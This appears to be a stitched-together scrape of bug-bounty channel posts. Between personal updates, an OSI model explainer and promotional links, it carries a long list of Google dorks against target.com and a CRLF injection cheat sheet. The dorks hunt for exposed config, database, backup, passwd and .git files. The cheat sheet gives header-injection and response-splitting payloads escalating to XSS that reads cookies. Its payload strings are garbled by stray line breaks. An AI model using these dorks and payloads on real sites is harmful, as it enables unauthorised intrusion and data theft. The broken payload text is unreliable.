Bug bounty Tips

I am really. Sorry guys, I left my place bec of some emergency work. I will only coming back on Monday soo I will not going to be active till Monday, soo please don't mind.

ssti. mind map

Small update on the upcoming video I will upload it soon😌

OSI Model ____ __ _ The OSI (Open Systems Interconnection) model is a conceptual framework used to understand and standardize the functions of a networking system. It divides the process of communication in a network into seven distinct layers, each responsible for different aspects of data transmission. The Seven Layers: 1️⃣Physical Layer (Layer 1): Deals with the physical connection between devices, including cables, switches, and the transmission of raw binary data. 2️⃣Data Link Layer (Layer 2): Manages the data frames between two directly connected nodes and handles error detection and correction. 3️⃣Network Layer (Layer 3): Responsible for logical addressing and routing, ensuring that data packets are sent from the source to the destination across multiple networks. 4️⃣Transport Layer (Layer 4): Provides end-to-end communication, error recovery, and flow control between devices, often using protocols like TCP and UDP. 5️⃣Session Layer (Layer 5): Manages sessions or connections between applications, establishing, maintaining, and terminating communication. 6️⃣Presentation Layer (Layer 6): Translates data between the application layer and the network, handling data encryption, compression, and conversion. 7️⃣Application Layer (Layer 7): Interfaces directly with the end user, providing network services such as email, file transfer, and web browsing.

I was Meditating for Ideas And This Popped up " The Thoughts From Universe" Idk We will call It whatever Coz I am not familiar with this concept Says That Universe Live At Harmony at Neutral state(=) and That's the Refresh point But Grows and Falls on charge state ( - or +) Means At charged State It Grows Eg - Success and Failure And In Charge state Both comes in one Hand If There success then Failure Will be must And Both success and Failure will try to be of Equal charge Eg - 10 wins Means Mostly You will get 10 Failure too After the Wins But At fall state You can Neutralise It by Wins Or Something Polar opposite to That To Refresh the starting point Like If You Are Having Intense Cravings about Something Then Then Think Painful thoughts about that Addiction Then Thing will neutralise I Just Wrote this down Coz I found this interesting And It's A Thought from somewhere in Universe I know it sounds lots like Yapping But I would take it seriously - Aijak Ofc

Video coming soon guys Give a lot of reaction to this

Bug-Bounty notes >💛Welcome to the Future of Cybersecurity >Overview 👣OSINT ℹ️Recon Tips >✳️Mastering the Art of Writing Clear and Effective Vulnerabilities Report >Twitter 🌆Subdomain Enumeration >Tools 🔑Nmap's NSE Scripts for Ethical Password Testing 👻Cheat-sheet's >Exploitation Link 🔗:- Https://book.cipherops.xyz Author: @laazy_hack3r @GitBook_s

LFI | RFI | Traversal Cheat Sheet 🔰 🔖#infosec #cybersecurity #hacking #pentesting #security

#Cyber_Education Using SeTcbPrivilege for educational purposes https://github.com/daem0nc0re/PrivFu/tree/main/PowerOfTcb

# Google Dorks Cli # https://github.com/six2dez/degoogle_hunter degoogle_hunter.sh company.com # Google dorks helper https://dorks.faisalahmed.me/ # Code share sites site:http://ideone.com | site:http://codebeautify.org | site:http://codeshare.io | site:http://codepen.io | site:http://repl.it | site:http://jsfiddle.net "company" # GitLab/GitHub/Bitbucket site:github.com | site:gitlab.com | site:bitbucket.org "company" # Stackoverflow site:stackoverflow.com "target.com" # Project management sites site:http://trello.com | site:*.atlassian.net "company" # Pastebin-like sites site:http://justpaste.it | site:http://pastebin.com "company" # Config files site:target.com ext:xml | ext:conf | ext:cnf | ext:reg | ext:inf | ext:rdp | ext:cfg | ext:txt | ext:ora | ext:env | ext:ini # Database files site:target.com ext:sql | ext:dbf | ext:mdb # Backup files site:target.com ext:bkf | ext:bkp | ext:bak | ext:old | ext:backup # .git folder inurl:"/.git" target.com -github # Exposed documents site:target.com ext:doc | ext:docx | ext:odt | ext:pdf | ext:rtf | ext:sxw | ext:psw | ext:ppt | ext:pptx | ext:pps | ext:csv # Other files site:target.com intitle:index.of | ext:log | ext:php intitle:phpinfo "published by the PHP Group" | inurl:shell | inurl:backdoor | inurl:wso | inurl:cmd | shadow | passwd | boot.ini | inurl:backdoor | inurl:readme | inurl:license | inurl:install | inurl:setup | inurl:config | inurl:"/phpinfo.php" | inurl:".htaccess" | ext:swf # SQL errors site:target.com intext:"sql syntax near" | intext:"syntax error has occurred" | intext:"incorrect syntax near" | intext:"unexpected end of SQL command" | intext:"Warning: mysql_connect()" | intext:"Warning: mysql_query()" | intext:"Warning: pg_connect()" # PHP errors site:target.com "PHP Parse error" | "PHP Warning" | "PHP Error" # Login pages site:target.com inurl:signup | inurl:register | intitle:Signup # Open redirects site:target.com inurl:redir | inurl:url | inurl:redirect | inurl:return | inurl:src=http | inurl:r=http # Apache Struts RCE site:target.com ext:action | ext:struts | ext:do # Search in pastebin site:pastebin.com target.com # Linkedin employees site:linkedin.com employees target.com # Wordpress files site:target.com inurl:wp-content | inurl:wp-includes # Subdomains site:*.target.com # Sub-subdomains site:*.*.target.com #Find S3 Buckets site:.s3.amazonaws.com | site:http://storage.googleapis.com | site:http://amazonaws.com "target" # Traefik intitle:traefik inurl:8080/dashboard "target" # Jenkins intitle:"Dashboard [Jenkins]"

SQL Injection Cheat Sheet 💉 🔖#infosec #cybersecurity #hacking #pentesting #security #sqli

⚡️⚡️⚡️Bug Bounty Tip⚡️⚡️⚡️ 🤡🤡New Google Dork: Have You Checked Linktr.ee? 🔼🔽It seems that many users unknowingly store confidential documents and access information on Linktr.ee. 💸💸💸Try using this dork: site:linktr.ee + keyword 🫦🫦If something valuable is found and a bounty is scored, consider sharing the success! 😉

Tool alert🚨👇 Steps to install autoip changer tool . . ✔️ Share It with Your Friends. 🔗 CHECKOUT THE LINK IN BIO 🔥 Don’t miss the HIGHLIGHTS 🤔 Any queries? Don’t hesitate to DM. ❤️ LIKE, COMMENT, SHARE and SAVE the post. #RedTeam #InfoSec #CyberSecurity #EthicalHacking #KaliLinux #CyberSec #HackerLife #PenTesting https://www.instagram.com/cipherops.tech/p/C-j99vdSeV5/?igsh=MTc4MmM1YmI2Ng==

## CRLF Injection || HTTP Response Splitting

%0dSet-Cookie:csrf_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

Header-based test, site root %

0d%0aheader:header

%0

aheader:header
%

0d

header:header
%2

3%

0dheader:header
%3f

%0

dheader:header

/%2

50a

header:header

/%25

250

aheader:header

/%%0a

0ah

eader:header

/%3f%0

dhe

ader:header

/%23%0d

hea

der:header

/%25%30a

hea

der:header

/%25%30%6

1he

ader:header

/%u000ahea

der

:header

CRLF chaine

d with Open Redirect server misconfiguration _Note:_ This sometimes works. (Discovered in some Yandex sites, was not exploitable from the root.) //www.google.c

om/%2f%2e%2e%0d%0aheader:header
/www.google.c

om

/%2e%2e%2f%0d%0aheader:header
/google.com/%2

F.

.%0d%0aheader:header

Twitter specif

ic CRLF by @filedescriptor %E5%98%8A%E5%98%8

Dheader:header

CRLF Injection 

to XSS %0d%0aContent-Leng

th:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e

Response splitti

ng on 302 Redirect, before Location header (Discovered in DoD) %0d%0aContent-Type:

%20text%2fhtml%0d%0aHTTP%2f1.1%20200%20OK%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a%3Cscript%3Ealert('XSS');%3C%2fscript%3E

Response splittin

g on 301 code, chained with Open Redirect to corrupt location header and to break 301 by @black2fan (Facebook bug) _Note:_ xxx:1 was used for breaking open redirect destination (Location header). Great example how of to escalate CRLF to XSS on a such, it would seem, unexploitable 301 status code. %2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a%3cscript%3ealert(document.cookie)%3c/script%3e%2F..%2F..%2F..%2F../tr